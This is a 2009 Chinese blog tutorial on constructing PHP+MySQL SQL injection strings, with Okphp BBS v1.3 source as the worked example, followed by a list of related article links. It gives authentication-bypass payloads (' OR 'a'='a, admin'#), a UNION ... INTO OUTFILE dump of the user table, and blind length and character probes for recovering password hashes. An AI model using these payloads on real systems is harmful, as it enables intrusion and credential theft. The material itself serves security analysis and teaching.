php 攻击方法之谈php+mysql注射语句构造


Posted in PHP onOctober 30, 2009

一.前言:

版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

二.“漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); 

$password = md5($password); 

$q = "select id,group_id from $user_table where username='$username' and password='$password'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res); 

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中


$username 和 $password 没过滤, 很容易就绕过。

对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

相当于sql语句:

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

即:

select * from $user_table where username='admin'#' and password='$password'"

相当于:

select * from $user_table where username='admin'

在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相当于:

select id,group_id from $user_table where username='admin'

只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,

我们就可以这样构造:$username=' OR id=1#

相当于:

select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

我们接着往下看代码:

if ($row[0]) { 

// If not admin or super moderator 

if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { 

$login = 0; 

} 

else { 

$login = 1; 

} 

} 

// Fail to login--------------- 

if (!$login) { 

write_log("Moderator login","0","password wrong"); 

echo " "; 

exit(); 

} 

// Access ! ------------- 

else { 

session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

2.users/login.php注射导致绕过身份验证漏洞:

代码:

$md5password = md5($password); 

$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password='$md5password'";

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)

okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array("del_log","log_id","del_id"); 

get_r($arr); 

// 

if ($del_log) { 

省略........ 

if ($log_id) { 

foreach ($log_id as $val) { 

$q = "delete from $log_table where id='$val'"; 

$res = sql_query($q,$conn); 

if ($res) { 

$i++; 

} 

} 

} 

elseif ($del_id) { 

$q = "delete from $log_table where id='$del_id'"; 

$res = sql_query($q,$conn); 

} 

$tpl->setVariable("message","$i log deleted ok!"); 

$tpl->setVariable("action","index.php?action=list_log"); 

}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

4.多个文件对变量没有过滤导致sql注射漏洞。

okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是“赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res);

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

以下:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";

上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用“返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

问题代码同漏洞1。

语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin' AND LENGTH(password)=6#

sql语句变成:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"

相当于:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"

如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#

可以猜用户的密码第一位的ascii码值............。

PHP 相关文章推荐
十天学会php之第三天
Oct 09 PHP
fleaphp下不确定的多条件查询的巧妙解决方法
Sep 11 PHP
删除无限分类并同时删除它下面的所有子分类的方法
Aug 08 PHP
php错误提示failed to open stream: HTTP request failed!的完美解决方法
Jun 06 PHP
PHP图片验证码制作实现分享(全)
May 10 PHP
php 操作调试的方法
Jul 12 PHP
解析php多线程下载远程多个文件
Jun 25 PHP
PHP 面向对象程序设计(oop)学习笔记(一) - 抽象类、对象接口、instanceof 和契约式编程
Jun 12 PHP
Yii使用migrate命令执行sql语句的方法
Mar 15 PHP
php curl上传、下载、https登陆实现代码
Jul 23 PHP
详解如何实现Laravel的服务容器的方法示例
Apr 15 PHP
Yii 使用intervention/image拓展实现图像处理功能
Jun 22 PHP
PHP 文件上传源码分析(RFC1867)
Oct 30 #PHP
浅谈PHP 闭包特性在实际应用中的问题
Oct 30 #PHP
php实现jQuery扩展函数
Oct 30 #PHP
PHP 读取和修改大文件的某行内容的代码
Oct 30 #PHP
PHP 批量删除数据的方法分析
Oct 30 #PHP
ThinkPHP php 框架学习笔记
Oct 30 #PHP
php pack与unpack 摸板字符字符含义
Oct 29 #PHP
You might like
php文件读取方法实例分析
2015/06/20 PHP
php实现搜索一维数组元素并删除二维数组对应元素的方法
2015/07/06 PHP
用js统计用户下载网页所需时间的脚本
2008/10/15 Javascript
JavaScript 空位补零实现代码
2010/02/26 Javascript
JavaScript游戏之优化篇
2010/11/08 Javascript
在js中判断checkboxlist(.net控件客户端id)是否有选中
2013/04/11 Javascript
JS创建类和对象的两种不同方式
2014/08/08 Javascript
JavaScript实现生成GUID(全局统一标识符)
2014/09/05 Javascript
JQuery设置时间段下拉选择实例
2014/12/30 Javascript
JS操作COOKIE实现备忘记录的方法
2016/04/01 Javascript
js多个物体运动功能实例分析
2016/12/20 Javascript
React组件之间的通信的实例代码
2017/06/27 Javascript
JavaScript 用fetch 实现异步下载文件功能
2017/07/21 Javascript
微信小程序商品详情页规格属性选择示例代码
2017/10/30 Javascript
微信小程序上传图片到服务器实例代码
2017/11/07 Javascript
利用jQuery+localStorage实现一个简易的计时器示例代码
2017/12/25 jQuery
JS forEach跳出循环2种实现方法
2020/06/24 Javascript
如何在postman测试用例中实现断言过程解析
2020/07/09 Javascript
[03:01]2014DOTA2国际邀请赛 小组赛7月13日TOPPLAY
2014/07/14 DOTA
使用Python的Twisted框架编写简单的网络客户端
2015/04/16 Python
python从入门到精通(DAY 3)
2015/12/20 Python
python脚本设置超时机制系统时间的方法
2016/02/21 Python
python 第三方库的安装及pip的使用详解
2017/05/11 Python
对Python3中的input函数详解
2018/04/22 Python
Pandas 同元素多列去重的实例
2018/07/03 Python
python学生管理系统开发
2019/01/30 Python
PyQt弹出式对话框的常用方法及标准按钮类型
2019/02/27 Python
Python生成验证码、计算具体日期是一年中的第几天实例代码详解
2019/10/16 Python
python2.7使用scapy发送syn实例
2020/05/05 Python
localstorage和sessionstorage使用记录(推荐)
2017/05/23 HTML / CSS
美国领先的家居装饰和礼品商店:Kirkland’s
2017/01/30 全球购物
哄娃神器4moms商店:美国婴童用品品牌
2019/03/07 全球购物
Ootori在线按摩椅店:一家专业的按摩椅制造商
2019/04/10 全球购物
俄罗斯运动、健康和美容产品在线商店:Lactomin.ru
2020/07/23 全球购物
质量标语大全
2014/06/12 职场文书
罚款通知怎么写
2015/04/22 职场文书